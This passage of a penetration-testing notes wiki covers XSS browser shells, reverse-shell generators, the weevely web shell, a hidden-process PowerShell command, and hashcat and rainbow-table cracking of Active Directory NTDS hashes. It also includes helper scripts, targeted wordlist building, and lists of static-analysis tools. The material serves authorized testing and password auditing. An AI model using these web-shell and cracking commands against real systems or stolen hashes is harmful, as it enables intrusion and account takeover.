{% embed url="<https://github.com/Greenwolf/ntlm_theft>" %}

## Detection

**HoneyCreds**: Detect network credentials and poisoners such as responder and MITM attacks.

{% embed url="<https://github.com/Ben0xA/HoneyCreds>" %}


# Persistence

## XSS

&#x20;[**JSShell**](https://github.com/Den1al/JSShell): An interactive multi-user web based javascript shell. It was initially created in order to debug remote esoteric browsers during experiments and research. This tool can be easily attached to XSS (Cross Site Scripting) payload to achieve browser remote code execution (similar to the BeeF framework).

[![asciicast](https://asciinema.org/a/217167.svg)](https://asciinema.org/a/217167)

&#x20;[**beef**](https://github.com/beefproject/beef):  BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser.

## Webshell & Reverse shell

[**revshells.com**](https://www.revshells.com/)**:** generates your web/reverse shell payloads in a few clicks.

&#x20;[**shellerator**](https://github.com/ShutdownRepo/shellerator): Shellerator is a simple command-line tool aimed to help pentesters quickly generate one-liner reverse/bind shells in multiple languages (Bash, Powershell, Java, Python, etc).

![](/files/-MX2O92pEPo9DdHvcOZ_)

&#x20;[**weevely3**](https://github.com/epinna/weevely3)**:** Weaponized web shell.

```
weevely generate <password> <path>
weevely <URL> <password> [cmd]
```

### Execute Hidden Process

```
Start-Process -FilePath "c:\temp\example.bat" -WorkingDirectory "c:\temp" -WindowStyle Hidden
```


# Password & Cracking

[**Depix**](https://github.com/beurtschipper/Depix)**:** Recovers passwords from pixelized screenshots.

![](/files/5ORCo6jfXpEhvKr34tyJ)

{% embed url="<https://github.com/beurtschipper/Depix>" %}

**bopscrk:** Before Outset PaSsword CRacKing is a tool to generate smart and powerful wordlists for targeted attacks.

![](/files/-MX-60xKnId0KCxRMFhB)

[**spraygen**](https://github.com/3ndG4me/spraygen)**:** Password list generator for password spraying - prebaked with goodie.

[**cook**](https://github.com/giteshnxtlvl/cook)**:** Easily create word's permutation and combination to generate complex wordlists and passwords.

![](/files/-MZFCkxPSC0naJG8L2zJ)

![](/files/-MZFCt9UfWg0CnWj81_7)

[**crackpkcs12:**](https://github.com/crackpkcs12/crackpkcs12) A multithreaded program to crack PKCS#12 files (p12 and pfx extensions) by Aestu.

```
crackpkcs12 -d dictionary.txt certificate.pfx
```

[**hashcat:**](https://hashcat.net/hashcat/)  This is the world's fastest and most advanced password recovery utility, supporting five unique modes of attack for over 300 highly-optimized hashing algorithms. hashcat currently supports CPUs, GPUs, and other hardware accelerators on Linux, Windows, and macOS, and has facilities to help enable distributed password cracking.

```
Linux:
hashcat hash.txt -a 0 -m 3200 -w 4 --username -r /usr/share/hashcat/rules/best64.rule wordlist.txt --force

-r option will permutate the words, e.g:
password, password!, password1, password21, password30

Windows:
hashcat64.exe -a 0 --session=2021-04-02 -m 3200 -w 4 --username --force --status --status-timer=60 -p : -O --hwmon-disable -o "C:\Users\xxx\Desktop\cracked.txt" --outfile-format=3 -r "C:\Users\xxx\Desktop\hashcat-5.1.0\rules\nsav2.rule" "C:\Users\xxx\Desktop\hash.txt" "C:\Users\xxx\Desktop\wordlist.txt"
```

![](/files/p420ad5Vx1lOghsRHb1d)

&#x20;[**pack**](https://github.com/iphelix/pack): PACK (Password Analysis and Cracking Toolkit) is a collection of utilities developed to aid in analysis of password lists in order to enhance password cracking through pattern detection of masks, rules, character-sets and other password characteristics. The toolkit generates valid input files for Hashcat family of password crackers.

```
python statsgen.py rockyou.txt
```

[**pipal**](https://github.com/digininja/pipal): Pipal, THE password analyser.

{% embed url="<https://github.com/digininja/pipal>" %}

Script to keep repetition of NTDS passwords when cracked with hashcat before analyze them with pipal:

```
#script to count repetitions of cracked passwords
import sys

if len(sys.argv) != 3:
    print("Usage: python script.py arg1[ntds_file] arg2[cracked_file]")
    print("Please provide exactly 2 arguments.")
    sys.exit(1)

if __name__ == "__main__":
	ntds_hashes = {}
	cracked_hashes= {}
	file_name_ntds = sys.argv[1]
	file_name_cracked= sys.argv[2]
	file_name_output = "output.txt"

	with open(file_name_output, 'w') as output_file:

	#open ntds file and compare if the hash is in cracked
		with open(file_name_ntds, 'r') as ntds_file:
			for line_ntds in ntds_file:
				parts = line_ntds.strip().split(':')
				with open(file_name_cracked, 'r') as cracked_file:
					for line_cracked in cracked_file:
						parts1 = line_cracked.strip().split(':')
						if parts[3] == parts1[0]:
						    output_file.write(parts1[1]+"\n")




```

&#x20;[**BridgeKeeper**](https://github.com/0xZDH/BridgeKeeper): Scrape employee names from search engine LinkedIn profiles. Convert employee names to a specified username format.

```
$ python3 bridgekeeper.py --file names.txt --format {f}{last}@example.com --output example-employees/ --debug

Name: John Adams Smith
{f}{last}                   > jsmith
{f}{m}.{last}               > ja.smith
{f}{last}[4]@example.com    > jsmit@example.com
```

## assless-chaps

\
Crack MSCHAPv2/NTLMv1 challenge/responses quickly using a database of NT hashes<br>

{% embed url="<https://github.com/sensepost/assless-chaps.git>" %}

## Hashes online

{% embed url="<https://hashes.com/en/decrypt/hash>" %}

{% embed url="<https://crackstation.net>" %}

{% embed url="<https://www.tunnelsup.com/hash-analyzer>" %}

{% embed url="<https://hashcat.net/hashcat>" %}

{% embed url="<https://weakpass.com>" %}

{% embed url="<https://hashmob.net/hashlists>" %}

{% embed url="<https://cybertoolbank.cc/leakcheck.php>" %}

{% embed url="<https://dehashed.com>" %}

{% embed url="<https://leakcheck.io>" %}

{% embed url="<https://haveibeenpwned.com>" %}


# Wordlists

{% embed url="<https://weakpass.com/>" %}

{% embed url="<https://gist.github.com/cihanmehmet/5d7f6d6514b4c1c54c00ebf36d5f9e81>" %}


# Tips

## NTLM cracking with --remove

```
cat .\hash.txt | .\cut.exe -d ":" "-f1,4" | Out-File -FilePath ntlm.txt -Encoding utf8
```

## Script sort cracked NTLM

python3 script\_passwords.py hashes.txt cracked.txt

```
#!/usr/bin/env python

import sys

print("---start process---")

file_hashes = sys.argv[1]
file_cracked = sys.argv[2]

with open(file_hashes) as f:
    hashes = [line.rstrip() for line in f]

with open(file_cracked) as f:
    cracked = [line.rstrip() for line in f]

f = open("output.txt", "w")

for hash in hashes:
	for crack in cracked:
		a=crack.split(":")
		if a[0] in hash:
			f.write(crack)
			f.write("\n")
			
f.close()
```

The ouput.txt file is generated with all the NTLM hashes, including repetitions.

Finally, the top of the passwords can be see:

```
cat output.txt | sort | uniq -c | sort -nr
or
Get-Content .\output.txt | Group-Object | Sort-Object Count -Descending | Select-Object Name, Count
```

![](/files/wzkQXzyjT8Xrv1u5LprE)

## Create customized dic from rockyou

```
# grep -Ei 'batman|arkham|joker|alfred|bruce' /usr/share/wordlists/rockyou.txt > batman.txt
# wc -l batman.txt
5532 batman.txt
```

## Password Profiling / Skweez && CEWL

```
.\skweez.exe https://xxxx/pt-pt https://xxx/pilotos -n 16 -m 1 -o teste.txt
```

{% embed url="<https://github.com/edermi/skweez>" %}

```
cewl www.megacorpone.com -m 6 -w megacorp-cewl.txt
```

## Chartset custom hashcat

![](/files/if54VOmh71qEtjTSP8qI)

{% embed url="<https://hashcat.net/wiki/doku.php?id=mask_attack#custom_charsets>" %}

## Hashcat methodology cracking

* **Cracking wordlist based**
* **Cracking with Rules**&#x20;
* **Hybrid cracking:** Wordlist + mask && mask + Wordlist.

{% hint style="info" %}
Hint: use ?d (several ...) and ?s?d?d ..n
{% endhint %}

* **Brute-force cracking:** ?sTarget?s?d?d?d?d (incremental 7 - 15)
* **Pure brute-force with chartset:** (3) ?l?u ?3?3?3?3?3?3?3

![](/files/TEzwE6xIzrd7XrygEyIZ)

* Download via [#password-profiling-skweez-and-and-cewl](#password-profiling-skweez-and-and-cewl "mention") target dic and use it with rules
* Create target dir via [#create-customized-dic-from-rockyou](#create-customized-dic-from-rockyou "mention")
* **BONUS:** use the cracked passwords, and add it to the wordlists and crack the NOTFOUND hashes again with rules ;)

## Password analysis (Active Directory)

{% hint style="info" %}
Replace several "domains/users" entries for the same domain.
{% endhint %}

![](/files/8GwNJaMhUHL0qaivXN81)

{% embed url="<https://github.com/clr2of8/DPAT>" %}

### Bonus: run powershell script to get target groups ;)

```
#import powerview module!
#pick the target groups manually or filter *admin*
Get-DomainGroup -Properties name | Out-File -FilePath domaingroups.txt

#create target file with domain groups: groups.txt

#execute the script and change the vars!

-------------------------------------------------------------------------
$domain="org_domain_xpto.pt\"
$workdir_files=".\workdir_name\"
$dc_dump_file="hash.txt"
$cracked_file="cracked.txt"

foreach($group in Get-Content .\groups.txt) {
    if($line -match $regex){
        Write-Host "building group file: $group" -ForegroundColor red -BackgroundColor white 
        Get-DomainGroupMember $group | Select-Object -Property MemberDomain, MemberName, MemberObjectClass -ExpandProperty MemberName |  foreach {if($_.MemberObjectClass -eq "user"){$domain+$_.MemberName}} | Out-File -FilePath "$group.txt" -Encoding utf8
        
    }
}

Write-Host "DPAT groups:"
Write-Host "python.exe .\dpat.py -n $workdir_files$dc_dump_file -c $workdir_files$cracked_file -g " -NoNewline
foreach($group in Get-Content .\groups.txt) {
    if($line -match $regex){
        If ((Get-Content "$group.txt")) {
          Write-Host " '$workdir_files$group.txt'" -NoNewline
        }
    }
}
Write-Host ""
Write-Host "Done! ;)" -ForegroundColor red -BackgroundColor white
```

## Via BloodHound or Neo4J

<pre><code><strong>//get all groups
</strong><strong>MATCH (g:Group) WHERE g.name CONTAINS 'ADMIN'
</strong>RETURN g.name AS GroupName

//get all users from group
Match (u:User)-[:MemberOf]->(g:Group) WHERE g.name CONTAINS "DOMAIN ADMINS" return u.name,g.name

//I like that: get all users from domais like "ADMIN"
Match (u:User)-[:MemberOf]->(g:Group) WHERE g.name CONTAINS "ADMIN" return u.name,g.name
</code></pre>

The Neo4J output can be exported as CSV: user,group.

The following script generates group files with target users. We just need to execute it:

```
python3 scrypt.py export.csv domain_ntds.txt
```

```
import sys
import os
import shutil

def copy_file_to_folder(source_file, destination_folder):
    # Extract the filename from the source file path
    file_name = os.path.basename(source_file)
    
    # Destination file path
    destination_file = os.path.join(destination_folder, file_name)

    # Copy the file to the destination folder
    shutil.copy2(source_file, destination_folder)

    # Print the name of the copied file
    print(f"File '{file_name}' copied to '{destination_folder}'")

def load_hashes_users_domains(file_path):
    hashes_users_domains = []
    with open(file_path, 'r') as file:
        for line in file:
            if '\\' not in line:
                continue
            parts = line.strip().split(':')
            domain, user = parts[0].split('\\')
            hash_value = parts[3]
            hashes_users_domains.append((domain, user, hash_value))
    return hashes_users_domains

def change_domain_prefix(input_folder, hashes_users_domains):
    for file_name in os.listdir(input_folder):
        if file_name.endswith('.txt'):
                file_path = os.path.join(input_folder, file_name)
                with open(file_path, 'r') as file:
                    lines = file.readlines()
                 
                with open(file_path, 'w') as file:
                    for line in lines:
                         for domain, user, hash_value in hashes_users_domains:
                              parts = line.strip().split("\\")
                              if parts[1].strip().lower() == user.strip().lower():
                                  modified_line = domain + "\\" + parts[1] + "\n"
                                  file.write(modified_line)
                              else:
                                  continue  

def group_users(source_file, folder_name):
    # Dictionary to store users grouped by group names
    group_users_dict = {}

    created_files = []  # List to store the names of created files

    with open(source_file, 'r') as file:
        for line in file:
            # Splitting each line into user and group
            user, group = line.strip().split(',')

            # Remove everything after "@" character
            user = user.split('@')[0]

            # Add prefix to the user
            user_with_prefix = f"{prefix}\{user}"

            # Check if the group already exists in the dictionary
            if group in group_users_dict:
                # Append the user to the existing group
                group_users_dict[group].append(user_with_prefix)
            else:
                # Create a new group entry in the dictionary
                group_users_dict[group] = [user_with_prefix]

    # Writing users to separate output files named after each group inside the folder
    for group, users in group_users_dict.items():
        output_file = os.path.join(folder_name, f"{group}.txt")
        with open(output_file, 'w') as out:
            for user in users:
                out.write(user + '\n')
        created_files.append(output_file)

    # Generating the command with the -g parameter containing the names of the files created
    command_files = ' '.join(f'"{file}"' for file in created_files)
    command = f"python3 dpat.py -n '{folder_name}/{dump_file}' -c '{folder_name}/cracked.txt' -g {command_files}"
    print("\n\n\n" + command + "\n\n\n")

    print(f"All users grouped by the prefix '{prefix}' have been saved to '{folder_name}' folder.")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python script.py <csv_neo4j> <dump_ntds> ")
        sys.exit(1)
    
    input_file = sys.argv[1]
    dump_file = sys.argv[2]
    prefix = input("Enter DOMAIN prefix for all users: ")
    folder_name = f"{prefix}_user_files"
    os.makedirs(folder_name, exist_ok=True)
    input_folder = folder_name
    group_users(input_file, folder_name)
    
    hashes_users_domains = load_hashes_users_domains(dump_file)
    
    change_domain_prefix(folder_name, hashes_users_domains)
    print("Domain prefixes have been updated in the files.")
    
    copy_file_to_folder(dump_file, folder_name)
    
```

## NTDS Active Users

By getting the NTDS file, we can exfiltrate the active users from neo4j database, and get a new NTDS file with just the active users. For this, we can use the following script.

```
# Definir os caminhos dos ficheiros
file1_path = 'ntds_file.txt'
file2_path = 'sam_active_users.txt'
output_path = 'matching_users.txt'

# Ler o ficheiro com o dump de palavras-passe
with open(file1_path, 'r') as file1:
    dump_data = file1.readlines()

# Ler o ficheiro com os SAM users ativos
with open(file2_path, 'r') as file2:
    active_users = [line.strip() for line in file2.readlines()]

# Abrir o ficheiro de saída para escrever os resultados
with open(output_path, 'w') as output_file:
    # Iterar por cada linha no dump de palavras-passe
    for line in dump_data:
        # Extrair o sam-user de cada linha do dump
        parts = line.split(':')
        if len(parts) >= 2:
            domain_user = parts[0]
            sam_user = domain_user.split('\\')[-1]
            # Verificar se o sam-user está na lista de SAM users ativos
            if sam_user in active_users:
                # Escrever a linha correspondente no ficheiro de saída
                output_file.write(line)

print(f"Resultados com match foram guardados em {output_path}")
```

## AD\_Miner

AD Miner is an Active Directory audit tool that leverages cypher queries to crunch data from the #Bloodhound graph database to uncover security weaknesses.

<figure><img src="/files/ja2ohibSvQDGwAYXKMRG" alt=""><figcaption></figcaption></figure>

{% embed url="<https://github.com/Mazars-Tech/AD_Miner.git>" %}

## BONUS

{% embed url="<https://hunter2.gitbook.io/darthsidious/credential-access/password-cracking-and-auditing>" %}

{% embed url="<https://github.com/clr2of8/DPAT/>" %}


# Rainbow Crackalack

## Cracking NTLM - methodology

If the database of NTLM password hashes for a Windows domain were obtained, the optimal strategy would be:

1. Use hashcat to brute-force all 1-7 character passwords (this can be done quickly).
2. Use hashcat to crack passwords based on rules (variable time).
3. Use rainbow tables to break complex 8-character passwords (a few hours).
4. Use rainbow tables to break complex 9-character passwords (a few days).

![](/files/P1x3DTR2bUeuLZRdnYUp)

While brute-forcing 8-character passwords is very much possible with hashcat, it is inefficient to do so for smaller numbers of hashes:

![](/files/DHW6Thr1Rhwuymfux2r4)

As shown in the graph above, on a machine with a single NVIDIA RTX 2070 GPU, hashcat takes roughly 75 hours to brute-force one hundred 8-character NTLM passwords, whereas the Rainbow Crackalack software (with the NTLM-8 tables) achieves a 93% success rate in an hour and a half!

The following graph shows the cracking times for 9-character NTLM hashes:

![](/files/VITXnERM6m1dEJ6tgjjx)

## Rainbow Crackalack Download

The source code for table generation and lookup [is available on Github](https://github.com/jtesta/rainbowcrackalack). Pre-compiled executables for Windows [are available as well](https://github.com/jtesta/rainbowcrackalack/releases).

NTLM 8-character tables can be downloaded for free [via BitTorrent](https://www.rainbowcrackalack.com/rainbow_crackalack_ntlm_8.torrent). These are 93% effective and are 486 GB in size.

NTLM 9-character tables can also be downloaded for free [via BitTorrent](https://www.rainbowcrackalack.com/rainbow_crackalack_ntlm_9.torrent). These are 50% effective and are 6.7 TB in size.

## Generate NTLM 8 lenght

```
 .\crackalack_gen.exe ntlm ascii-32-95 8 8 0 803000 67108864 0
```

![](/files/33X3uhJ79mPQLYUrUbUK)

{% embed url="<https://github.com/jtesta/rainbowcrackalack>" %}

## Crack NTLM

```
# .\crackalack_lookup.exe /export/ntlm8_tables/ /home/user/hashes.txt
```

## OPHCrack

It's also interesting during the cracking process passing the hashes through OPHCrack.

**Generate: LM:NT => LOAD**

```
 cat .\ntlm.txt | awk.exe -F':' '{print $2, $2}' OFS=":" | Out-File -FilePath .\hash_ophcrack.txt -Encoding utf8
```

![](/files/ZtcTJSkGwB8H4ndFKSNA)

## Sources

{% embed url="<http://project-rainbowcrack.com/table.htm>" %}

{% embed url="<https://www.rainbowcrackalack.com/#download>" %}

{% embed url="<https://ophcrack.sourceforge.io/tables.php>" %}


# Static Code Analysis

**checkmarx-CxSAST:** Android, Apex, ASP.NET, C#, C++, Go, Groovy, HTML5, Java, JavaScript, JSP, .NET, Objective-C, Perl, PHP, PL/SQL, Python, Ruby, Scala, Swift, TypeScript, VB.NET, Visual Basic 6, Windows Phone.

[**.NET Security Guard**](https://security-code-scan.github.io/)**:** Detects various [security vulnerability patterns](https://security-code-scan.github.io/#rules): SQL Injection, Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), XML eXternal Entity Injection (XXE), etc.

![](/files/-MXOZmh0KgfKYGg1qVg6)

&#x20;[**APIsecurity.io Security Audit**](https://apisecurity.io/tools/audit/)**:** online tool for OpenAPI / Swagger file static security analysis.

&#x20;[**Agnitio**](https://sourceforge.net/projects/agnitiotool/)**:** ASP, ASP.NET, C#, Java, Javascript, Perl, PHP, Python, Ruby, VB.NET, XML.

&#x20;[**Bandit**](https://github.com/PyCQA/bandit)**:** Bandit is a tool designed to find common security issues in Python code.

&#x20;[**CodeSec**](http://www.seczone.cn/2018/06/27/codesec%E6%BA%90%E4%BB%A3%E7%A0%81%E5%AE%89%E5%85%A8%E6%A3%80%E6%B5%8B%E5%B9%B3%E5%8F%B0/)**:** C, C++, C#, Java, JavaScript, PHP, Kotlin, Lua, Scala, TypeScript, Android.

&#x20;[**CodeSonar**](https://www.grammatech.com/)**:** C, C++, Java

&#x20;[**Coverity**](https://www.synopsys.com/software-integrity/security-testing/static-analysis-sast.html)**:** Android, C#, C, C++, Java, JavaScript, Node.js, Objective-C, PHP, Python, Ruby, Scala, Swift, VB.NET.

&#x20;[**Dawnscanner**](https://rubygems.org/gems/dawnscanner)**:** Dawnscanner is an open source security source code analyzer for Ruby, supporting major MVC frameworks like Ruby on Rails, Padrino, and Sinatra. It also works on non-web applications written in Ruby.

&#x20;[**Deep Dive**](https://discotek.ca/deepdive.xhtml)**:** Byte code analysis tool for discovering vulnerabilities in Java deployments (EAR, WAR, JAR).

&#x20;[**DevBug**](http://www.devbug.co.uk/)**:** PHP

&#x20;[**Enlightn**](https://www.laravel-enlightn.com/)**:** Enlightn is a vulnerability scanner specifically designed for Laravel PHP applications that combines SAST, DAST, IAST and configuration analysis techniques to detect vulnerabilities.

&#x20;[**Find Security Bugs**](https://find-sec-bugs.github.io/)**:** Java, Scala, Groovy

&#x20;[**FindBugs**](https://github.com/findbugsproject/findbugs)**:** Find bugs (including a few security flaws) in Java programs \[Legacy - NOT Maintained - Use SpotBugs (see other entry) instead].

&#x20;[**FindSecBugs**](https://find-sec-bugs.github.io/)**:** A security specific plugin for SpotBugs that significantly improves SpotBugs's ability to find security vulnerabilities in Java programs. Works with the old FindBugs too.

&#x20;[**Flawfinder**](http://www.dwheeler.com/flawfinder/)**:** Scans C and C++.

&#x20;[**GolangCI-Lint**](https://golangci-lint.run/)**:** A Go Linters aggregator - One of the Linters is [gosec (Go Security)](https://github.com/securego/gosec), which is off by default but can easily be enabled.

&#x20;[**Graudit**](https://github.com/wireghoul/graudit/)**:** Scans multiple languages for various security flaws. Basically security enhanced code Grep.

```
./graudit -A /src/php/app
```

&#x20;[**HCL AppScan CodeSweep**](https://hclsw.co/codesweep)**:** This is the first Community edition version of AppScan. It is delivered as a VS Code plugin and scans files upon saving them. The results show the location of a finding, type and remediation advice. The tool currently supports Python, Ruby, JS (Node, Angular, JQuery, etc) , PHP, Perl, COBOL, APEX & a few more.

&#x20;[**HCL AppScan Source**](https://www.hcltechsw.com/wps/portal/products/appscan/offerings/source)**:** Android, Apex, ASP, C, C++, COBOL, ColdFusion, Go, Java, JavaScript(Client-side JavaScript, NodeJS, and AngularJS), .NET (C#, ASP.NET, VB.NET), .NET Core, Perl, PHP, PL/SQL, Python, Ruby, T-SQL, Visual Basic 6.

&#x20;[**HCL AppScan on Cloud**](https://cloud.appscan.com/)**:** Apex, ASP, C, C++, COBOL, ColdFusion, Go, Java, JavaScript(Client-side JavaScript, Kotlin, NodeJS, and AngularJS), .NET (C#, ASP.NET, VB.NET), .NET Core, Perl, PHP, PL/SQL, Python, Ruby, T-SQL, Swift, Visual Basic 6.

&#x20;[**Horusec**](https://github.com/ZupIT/horusec)**:** Python(3.x), Ruby, Javascript, GoLang, .NetCore(3.x), Java, Kotlin, Terraform.

&#x20;[**HuskyCI**](https://huskyci.opensource.globo.com/)**:** HuskyCI is an open-source tool that orchestrates security tests inside CI pipelines of multiple projects and centralizes all results into a database for further analysis and metrics. HuskyCI can perform static security analysis in Python (Bandit and Safety), Ruby (Brakeman), JavaScript (Npm Audit and Yarn Audit), Golang (Gosec), and Java(SpotBugs plus Find Sec Bugs).

&#x20;[**Insider CLI**](https://github.com/insidersec/insider)**:** A open source Static Application Security Testing tool (SAST) written in GoLang for Java Maven and Android), Kotlin (Android), Swift (iOS), .NET Full Framework, C#, and Javascript (Node.js).

&#x20;[**OWASP ASST (Automated Software Security Toolkit)**](https://github.com/OWASP/ASST)**:** An Open Source, Source Code Scanning Tool, developed with JavaScript (Node.js framework), Scans for PHP & MySQL Security Vulnerabilities According to OWASP Top 10 and Some other OWASP's famous vulnerabilities, and it teaches developers of how to secure their codes after scan.

&#x20;[**OWASP Code Crawler**](https://wiki.owasp.org/index.php/Category:OWASP_Code_Crawler)**:** .NET, JAVA

&#x20;[**OWASP LAPSE Project**](https://wiki.owasp.org/index.php/OWASP_LAPSE_Project)**:** JAVA

&#x20;[**OWASP Orizon Project**](https://wiki.owasp.org/index.php/Category:OWASP_Orizon_Project)**:** JAVA

&#x20;[**PMD**](https://pmd.github.io/)**:** PMD scans Java source code and looks for potential code problems (this is a code quality tool that does not focus on security issues).

&#x20;[**PVS-Studio**](https://www.viva64.com/en/pvs-studio/)**:** C, C++, C#.

&#x20;[**ParaSoft**](https://www.parasoft.com/)**:** C, C++, Java, .NET.

&#x20;[**Polyspace Static Analysis**](https://www.mathworks.com/products/polyspace.html)**:** C, C++, Ada.

&#x20;[**Progpilot**](https://github.com/designsecurity/progpilot)**:** Progpilot is a static analyzer tool for PHP that detects security vulnerabilities such as XSS and SQL Injection.

&#x20;[**Security Code Scan**](https://security-code-scan.github.io/)**:** Static code analyzer for .NET. It will find SQL injections, LDAP injections, XXE, cryptography weakness, XSS and more.

&#x20;[**Semgrep**](https://github.com/returntocorp/semgrep)**:** Lightweight static analysis for many languages. Find bug variants with patterns that look like source code. No compilation needed to scan source code. Supports Go, Java, JavaScript, JSON,Python, TypeScript, and more.

&#x20;[**ShiftLeft Scan**](https://github.com/ShiftLeftSecurity/sast-scan)**:** A free open-source DevSecOps platform for detecting security issues in source ode and dependencies. It supports a broad range of languages and CI/CD pipelines by bundling various open source scanners into the pipeline.

![](/files/-MXOpOWg8Jm6cIWvZ9HA)

&#x20;[**VisualCodeGrepper**](https://sourceforge.net/projects/visualcodegrepp/)**:** C/C++, C#, VB, PHP, Java, PL/SQL

[**phpcs-security-audit**](https://github.com/FloeDesignTechnologies/phpcs-security-audit)**:** A set of PHP\_CodeSniffer rules to finds flaws or weaknesses related to security in PHP and its popular CMS or frameworks. It currently has core PHP rules as well as Drupal 7 specific rules.

&#x20;[**OWASP WAP (Web Application Protection)**](https://wiki.owasp.org/index.php/OWASP_WAP-Web_Application_Protection)**:** PHP

[**Fortify-SCA**](https://www.microfocus.com/en-us/cyberres/application-security/static-code-analyzer)**:** Build secure software fast. Find security issues early and fix at the speed of DevOps.

[**codecheker:**](https://github.com/Ericsson/codechecker) C/C++

[**phpcodeanalysis**](https://github.com/kira2040k/php_code_analysis)**:** another PHP analyzer.

{% embed url="<https://github.com/kira2040k/php_code_analysis>" %}

&#x20;**phpstan:** PHP Static Analysis Tool - discover bugs in your code without running it!

```
./phpstan.phar analyze --paths-file= better-search/
./scan -i better-search/
./graudit -A ../better-search/
./phpcs --extensions=php ../../better-search/
./semgrep-core -lang php -e '$X == $X' ../better-search/
java -jar wap.jar -p ../better-search -all
```

{% embed url="<https://github.com/analysis-tools-dev/static-analysis>" %}

{% embed url="<https://github.com/exakat/php-static-analysis-tools>" %}

{% embed url="<https://owasp.org/www-community/Source_Code_Analysis_Tools>" %}

{% embed url="<https://samate.nist.gov/index.php/Source_Code_Security_Analyzers.html>" %}


# Reporting

[**CherryTree**](https://github.com/giuspen/cherrytree)**:** A hierarchical note taking application, featuring rich text and syntax highlighting, storing data in a single XML or SQLite file. The project home page is [giuspen.com/cherrytree](https://www.giuspen.com/cherrytree/).

&#x20;[**faraday**](https://github.com/infobyte/faraday): Faraday introduces a new concept - IPE (Integrated Penetration-Test Environment) a multiuser Penetration test IDE. Designed for distributing, indexing, and analyzing the data generated during a security audit.

![](/files/-MX1g1FQJp3TQmDnkxf_)

{% embed url="<https://obsidian.md/>" %}

[**pocsuite3**](https://github.com/knownsec/pocsuite3)**:** pocsuite3 is an open-sourced remote vulnerability testing framework developed by the Knownsec 404 Team.

[![asciicast](https://asciinema.org/a/203101.svg)](https://asciinema.org/a/203101)


# Resources

{% embed url="<https://wooyun.js.org/>" %}

{% embed url="<https://github.com/wietze/windows-dll-hijacking>" %}

{% embed url="<https://troopers.de/downloads/troopers17/TR17_Unsafe_JAX-RS.pdf>" %}

{% embed url="<https://github.com/quentinhardy/pytmipe>" %}

{% embed url="<https://0x00-0x00.github.io/research/2018/10/17/Windows-API-and-Impersonation-Part1.html>" %}

{% embed url="<https://1-33-7.com/process-migration-tokens-stealing-like-meterpreter/>" %}

{% embed url="<https://0x1.gitlab.io/pentesting/Red-Teaming-Toolkit>" %}

## Linux binaries for Windows

awk, cut, wget,grep, etc binaries for windows

{% embed url="<http://gnuwin32.sourceforge.net/packages/coreutils.htm>" %}

{% embed url="<https://sourceforge.net/projects/unxutils/>" %}

## Tmux basic tricks

```
#new session
tmux new -s nmap

#attach created session
tmux a -t nmap

#list sessions
tmux ls

#detach
CTRL+B => d

#kill session
tmux kill-session -t myname

#----WINDOWS------------

c           new window
,           name window
w           list windows
f           find window
&           kill window
.           move window - prompted for a new number
:movew<CR>  move window to the next unused number

#-----PANES---------------------
%  horizontal split
"  vertical split

o  swap panes
q  show pane numbers
x  kill pane
⍽  space - toggle between layouts

-- MOUSE----------
CTRL+B => :set -g mouse on

or

:setw mode-keys emacs
navigate: CTRL+B => [
exit: q
```




---

[Next Page](/llms-full.txt/1)

